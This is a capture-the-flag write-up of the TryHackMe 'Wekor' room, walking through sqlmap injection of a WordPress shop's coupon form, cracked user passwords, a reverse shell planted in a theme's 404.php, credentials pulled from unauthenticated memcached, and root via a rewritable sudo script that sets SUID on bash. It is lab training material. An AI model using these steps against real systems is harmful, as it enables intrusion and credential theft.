TryHackMe Wekor Writeup (WordPress and Memcached)
SQLi in the it-next cart dumps the WordPress users, a 404.php shell lands www-data, memcached leaks Orka's password, and a sudo script gives root.
Summary
Wekor is a Linux room whose robots.txt points at /comingreallysoon, which in turn announces a shop at /it-next, and subdomain fuzzing turns up site.wekor.thm running WordPress 5.6. The coupon handler at /it-next/it_cart.php is vulnerable to SQL injection, and sqlmap dumps the wp_users table; two of the hashes crack to weak passwords, and wp_yura turns out to be the WordPress administrator. Editing 404.php in the active theme and requesting a nonexistent page executes the reverse shell as www-data. On the host, memcached is listening on 127.0.0.1:11211 with no authentication, and dumping its contents with memcached-tool reveals the credentials for the user Orka. Orka may run /home/Orka/Desktop/bitcoin as root, and since the Desktop directory is hers to rewrite, replacing that file with a script that sets the SUID bit on /bin/bash gives root.
- export IP=10.10.51.214
22/tcp on 10.10.51.214
- OpenSSH 7.2p2
80/tcp on 10.10.51.214
- Apache httpd 2.4.18 http-robots.txt: 9 disallowed entries /workshop/ /root/ /lol/ /agent/ /feed /crawler /boot /comingreallysoon /interesting
Operating system
- Ubuntu
Web server enumeration
http://10.10.51.214/comingreallysoon/ Welcome Dear Client! We’ve setup our latest website on /it-next, Please go check it out! If you have any comments or suggestions, please tweet them to @faketwitteraccount! Thanks a lot !
- Enumerated for a while and found nothing. Moving to the subdomain.
Subdomain enumeration
Subdomain found 000000382: 200 5 L 29 W 143 Ch “site”
$ wfuzz -c –hw 977 -u http://wekor.thm -H “Host: FUZZ.wekor.thm” -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
- ‘Two weeks’ and there will be a website. Could I maybe manipulate the request? Also: Possible username - Jim
Wordpress enumeration [ version 5.6 ]
Directory listening http://site.wekor.thm/wordpress/wp-content/uploads/
Theme in use: twentytwentyone
No plugins Found.
Vulnerability assesment
SQL Injection at POST request (/it-next/it_cart.php when applying cupouns)
$ sqlmap -u http://wekor.thm/it-next/it_cart.php --dump –dbms=mysql –risk 3 –crawl=4 –forms -D wordpress -T wp_users
+——+———————————+————————————+——————-+————+————-+————–+—————+———————+———————————————–+ | ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key | +——+———————————+————————————+——————-+————+————-+————–+—————+———————+———————————————–+ | 1 | http://site.wekor.thm/wordpress | PBoyfR2QzhNjRNmQZpva6TuuD0EE31B. | admin@wekor.thm | admin | 0 | admin | admin | 2021-01-21 20:33:37 |
wp_jeffrey:rockyou wp_yura:soccer13 wp_eagle:xxxxxx
wp_yura is the admin. Edited the 404.php from the in-use template to a reverse shell and accessed: http://site.wekor.thm/wordpress/index.php/anyything to execute the code.
Horizontal privilege escalation
$ cat /var/www/html/it-next/config.php
set_charset(“utf8”); ?> UUID=26325eaa-7c61-42ff-a438-ef509001045e /home [ unmounted ]
root 976 0.0 0.0 12588 72 ? Ss 15:33 0:00 /usr/bin/python /root/server.py
127.0.0.1:631 [ IPP ] 127.0.0.1:11211 [ memcache ] 127.0.0.1:3306 [ mysql ] 127.0.0.1:3010 [ ? // can be the server running by root ]
/etc/ImageMagick-6/mime.xml
/usr/lib/i386-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/var/www/html/site.wekor.thm/wordpress/wp-config.php
Port 11211
https://book.hacktricks.xyz/pentesting/11211-memcache VERSION 1.4.25 Ubuntu
/usr/share/memcached/scripts/memcached-tool localhost:11211 dump
Orka:OrkAiSC00L24/7$ 1a26a6d51c0172400add0e297608dec6 [ user.txt ]
Vertical privilege escalation
$ sudo -l User Orka may run the following commands on osboxes: (root) /home/Orka/Desktop/bitcoin password
python /home/Orka/Desktop/transfer.py
mv Desktop/ Desktop.bak mkdir Desktop cd Desktop && touch bitcoin cat«eof>bitcoin #!/bin/bash</eof>
chmod +s /bin/bash EOF $ sudo -u root /home/Orka/Desktop/bitcoin
f4e788f87cc3afaecbaf0f0fe9ae6ad7 [ root.txt ]
Learned
$ netstat -lptu [ new command to view open ports ]
- Be more persistent
- Think out of the box